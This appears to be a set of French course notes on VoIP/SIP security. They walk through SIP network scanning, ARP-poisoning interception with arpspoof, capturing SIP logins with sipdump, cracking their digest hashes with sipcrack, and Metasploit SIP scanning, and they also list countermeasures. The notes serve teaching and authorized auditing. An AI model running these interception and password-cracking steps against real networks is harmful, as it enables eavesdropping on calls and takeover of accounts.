Sécurité VoIP

1. SIP et la sécurité (programme SIP)

  • Support du NAT
  • Utilisation de Firewall
  • Les types d'attaques sur les réseaux convergents
    • Le hijacking
    • Déni de service
    • Amplification
    • Bots
  • Les mesures de sécurité
    • Contrôle des accès
    • Cryptage
    • Authentification
    • Gestion des autorisations
    • Systèmes de détection d'intrusion

2. Menaces

  • Information Gathering, Footprinting and Enumeration
  • Monitoring Traffic and eavesdropping Phone calls
  • Attacking Authentication
  • VLAN Hopping.
  • Denial of Service / Flooding.
  • Spoofing Caller ID.

3. Scans SIP

root@kali:~# svmap 172.16.98.0/24
| SIP Device         | User Agent           | Fingerprint |
-----------------------------------------------------------
| 172.16.98.224:5060 | Asterisk PBX 13.12.2 | disabled    |
nmap --script=sip-methods -sU -p 5060 <targets>

4. Attaque APR

Capture de paquets

Nous avons vu que la capture de paquet ne fournissait des résultats uniquement que pour le trafic livré à l'interface ethernet soit en unicast à destination de la machine elle-même, en broadcast et en multicast transférés d'emblée par les commutateur.

Dans un environnement LAN commuté, le commutateur transfère directement le trafic en fonction de l'adresse MAC de destination encodée dans les trames Ethernet. Ce sont les hôtes d'origine et de destination qui encodent ces adresses sur base d'un processus ARP (voir l'explication dans Interaction de protocoles).

Capturer des paquets dans un environnement LAN commuté

Si l'on désire capturer tous les paquets du réseau, on placera un port d'un commutateur Cisco en mode "span" soit en mode mirroir. Si la pratique est acceptable dans le cadre de la surveillance quotidienne du réseau, elle est moins crédible dans le cadre d'audit d'intrusion.

Il pourrait sembler plus simple d'attaquer le commutateur. L'outil macofde suite dsniff vise à saturer la table CAM du commutateur avec des entrées factices. L'effet escompté est que le commutateur tansfère le trafic par tous ses ports à la manière d'un concentrateur Ethernet (Hub). Toutefois, les commutateurs d'entreprise pourraient supporter cette charge. L'auteur obtiendrait tout un déni de service (DOS) peu discret.

Transfert de trafic dans une attaque APR

Dans un cadre autorisé, on peut s'intéresser à une faiblesse intrinsèque des protocoles TCP/IP sur les réseaux locaux. Elle concerne aussi bien ARP pour IPv4 et Neighbor Discovery pour IPv6. Ici, on s'intéressera uniquement à l'attaque dite APR.

La faiblesse tient au fait que les hôtes TCP/IP ne filtrent pas le trafic ARP. De la même manière aucune authentification de ce trafic n'est aujourd'hui implémentée dans nos réseaux. Les victimes vont accepter du trafic ARP gratuitous gratuitement adressé par le pirate en unicast avec des champs ARP usurpés.

Une attaque APR (ARP Poison Routing) est une attaque d'interception (MiTM) qui consiste pour le pirate à empoisonner le cache ARP des victimes avec sa propre adresse MAC. On peut aussi classer l'attaque comme attaque d'usurpation (spoofing). A condition que le pirate prenne en charge le routage des trames entre les destinations légitimes, la communication ne sera pas interrompue. Le pirate pourra alors observer le trafic entre les victimes de manière transparente. Il est évident que le pirate peut devenir un goulot d'étranglement en fonction du nombre de victimes qu'il usurpe.

L'attaque consiste à empoisonner le cache des victimes avec son adresse MAC en correspondance des adresses IPv4 à usurper et à activer le routage IPv4.

De manière crédule, les victimes vont livrer le trafic au pirate.

Une attaque APR est souvent le préalable d'attaques d'interception (MiTM). Elle intervient sur un LAN sur lequel le pirate dispose d'un accès physique tels qu'un réseau Ethernet ou un réseau Wi-Fi ouvert. Si le réseau sans-fil est sécurisé, il sera nécessaire de le casser pour réaliser cette dernière attaque.

Détail de l'attaque

Une analyse préalable comme un scan ARP permet d'identifier les stations (une personnalité de l'organisation, un admin) ou les serveurs victimes (téléphonie, courriel, partages, ...). La passerelle du réseau local est aussi un cible de choix. L'attaque peut trouver son utilité sur des réseaux ouverts comme des hotspots wi-fi.

Par exemple sous Linux avec arpspoof, les victimes sont respectivement 192.168.1.100 et 192.168.1.254 :

On installe la suite logicielle dnsiff et on active le routage IPv4

# apt-get install dsniff
# echo 1 > /proc/sys/net/ipv4/ip_forward

On empoisonne la table ARP de 192.168.1.100 avec une annonce indiquant l'adresse IPv4 de l'autre victime 192.168.1.254 en relation avec l'adresse MAC de l'interface eth0 du pirate.

#  arpspoof -i eth0 -t 192.168.1.100 192.168.1.254

Ensuite dans un autre terminal, on empoisonne la table ARP de 192.168.1.254 avec une annonce indiquant l'adresse IPv4 de l'autre victime 192.168.1.100 en relation avec l'adresse MAC de l'interface eth0 du pirate.

#  arpspoof -i eth0 -t 192.168.1.254 192.168.1.100

Outils d'attaque ARP

On peut réaliser cette attaque sous Linux avec :

  • Dsniff (arpspoof)
  • Cain sous Windows
  • Ethercap
  • Packeth
  • Scapy
  • Yersinia
  • ...

Contre-mesures

  • Inspection de couche 2
    • DAI (Deep ARP Inspection)
    • DHCP snooping
  • Surveillance
    • IDS/IPS
    • arpwatch, arpalert, ndpmon, ntop-ng
  • Tuning
    • Désactiver les "ARP gratuitous"
    • Des enregistrements statiques ?
  • Design réseau
    • Architecture VLAN
    • IEEE 802.1X/Radius/EAP/802.11i
    • HTTPS, SSH, SIPS, ZRTP
    • Infrastructure à clé publique (PKI)

5. sipdump/sipcrack

Dump d'un REGISTER (sans attaque MiTM)

root@kali:~# sipdump -i eth0  test

SIPdump 0.2  ( MaJoMu | www.codito.de )
---------------------------------------

* Using dev 'eth0' for sniffing
* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')
* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')
* Dumped login from 172.16.98.224 -> 172.16.98.1 (User: 'telephone1')

Crack du mot de passe REGISTER avec un dictionnaire pof.

root@kali:~# echo "1111" > password.lst
root@kali:~# sipcrack -w password.lst test

SIPcrack 0.2  ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num    Server        Client        User    Hash|Password

1    172.16.98.1    172.16.98.224    telephone1    aef0698218c9e25f957a6bb7262ff2b4
2    172.16.98.1    172.16.98.224    telephone1    bdebe7e2e51fa2a4a0262ee22c8946c2
3    172.16.98.1    172.16.98.224    telephone1    fd346613dc423e540a1193df1ff02901

* Select which entry to crack (1 - 3): 1

* Generating static MD5 hash... 656b1403125e0d95d6b2c906e49e3d83
* Loaded wordlist: 'password.lst'
* Starting bruteforce against user 'telephone1' (MD5: 'aef0698218c9e25f957a6bb7262ff2b4')
* Tried 1 passwords in 0 seconds

* Found password: '1111'
* Updating dump file 'test'... done

Crack du mot de passe REGISTER avec un dictionnaire

# sipcrack -w /usr/share/john/password.lst test

SIPcrack 0.2  ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num    Server        Client        User    Hash|Password

1    172.16.98.1    172.16.98.224    telephone1    1111
2    172.16.98.1    172.16.98.224    telephone1    bdebe7e2e51fa2a4a0262ee22c8946c2
3    172.16.98.1    172.16.98.224    telephone1    fd346613dc423e540a1193df1ff02901

* Select which entry to crack (1 - 3): 2

* Generating static MD5 hash... 656b1403125e0d95d6b2c906e49e3d83
* Loaded wordlist: '/usr/share/john/password.lst'
* Starting bruteforce against user 'telephone1' (MD5: 'bdebe7e2e51fa2a4a0262ee22c8946c2')
* Tried 754 passwords in 0 seconds

* Found password: '1111'
* Updating dump file 'test'... done

6. Metasploit

# msfconsole

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.12.22-dev                         ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Recherche d'attaques avec l'occurrence "voip".

msf > search voip

Matching Modules
================

   Name                                     Disclosure Date  Rank    Description
   ----                                     ---------------  ----    -----------
   auxiliary/voip/asterisk_login                             normal  Asterisk Manager Login Utility
   auxiliary/voip/cisco_cucdm_call_forward                   normal  Viproy CUCDM IP Phone XML Services - Call Forwarding Tool
   auxiliary/voip/cisco_cucdm_speed_dials                    normal  Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool
   auxiliary/voip/sip_deregister                             normal  SIP Deregister Extension
   auxiliary/voip/sip_invite_spoof                           normal  SIP Invite Spoof
   auxiliary/voip/telisca_ips_lock_control  2015-12-17       normal  Telisca IPS Lock Cisco IP Phone Control
   post/multi/escalate/allwinner_backdoor   2016-04-30       normal  Allwinner 3.4 Legacy Kernel Local Privilege Escalation

Recherche d'attaques avec le mot clé "sip"

msf > search sip
Matching Modules
================

   Name                                           Disclosure Date  Rank       Description
   ----                                           ---------------  ----       -----------
   auxiliary/scanner/sip/enumerator                                normal     SIP Username Enumerator (UDP)
   auxiliary/scanner/sip/enumerator_tcp                            normal     SIP Username Enumerator (TCP)
   auxiliary/scanner/sip/options                                   normal     SIP Endpoint Scanner (UDP)
   auxiliary/scanner/sip/options_tcp                               normal     SIP Endpoint Scanner (TCP)
   auxiliary/scanner/sip/sipdroid_ext_enum                         normal     SIPDroid Extension Grabber
   auxiliary/server/capture/sip                                    normal     Authentication Capture: SIP
   auxiliary/voip/sip_deregister                                   normal     SIP Deregister Extension
   auxiliary/voip/sip_invite_spoof                                 normal     SIP Invite Spoof
   exploit/windows/browser/aol_icq_downloadagent  2006-11-06       excellent  America Online ICQ ActiveX Control Arbitrary File Download and Execute
   exploit/windows/local/agnitum_outpost_acs      2013-08-02       excellent  Agnitum Outpost Internet Security Local Privilege Escalation
   exploit/windows/sip/aim_triton_cseq            2006-07-10       great      AIM Triton 1.0.4 CSeq Buffer Overflow
   exploit/windows/sip/sipxezphone_cseq           2006-07-10       great      SIPfoundry sipXezPhone 0.35a CSeq Field Overflow
   exploit/windows/sip/sipxphone_cseq             2006-07-10       great      SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow

Exemple d'attaque.

D'abord activer le module "auxiliary/scanner/sip/options"

msf > use auxiliary/scanner/sip/options

Ensuite, vérifier les paramètres.

msf auxiliary(options) > show options

Module options (auxiliary/scanner/sip/options):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      5060             yes       The target port
   THREADS    10               yes       The number of concurrent threads
   TO         nobody           no        The destination username to probe at each hos

Ensuite fixer la variable RHOSTS.

msf auxiliary(options) > set RHOSTS 172.16.98.0/24
RHOSTS => 172.16.98.0/24

Enfin lancer l'attaque.

msf auxiliary(options) > run

[*] Sending SIP UDP OPTIONS requests to 172.16.98.0->172.16.98.255 (256 hosts)
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] 172.16.98.224:5060 udp SIP/2.0 401 Unauthorized: {"Server"=>"Asterisk PBX 13.12.2"}
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

7. Outils actualisés/avancés

Notes

results matching ""

    No results matching ""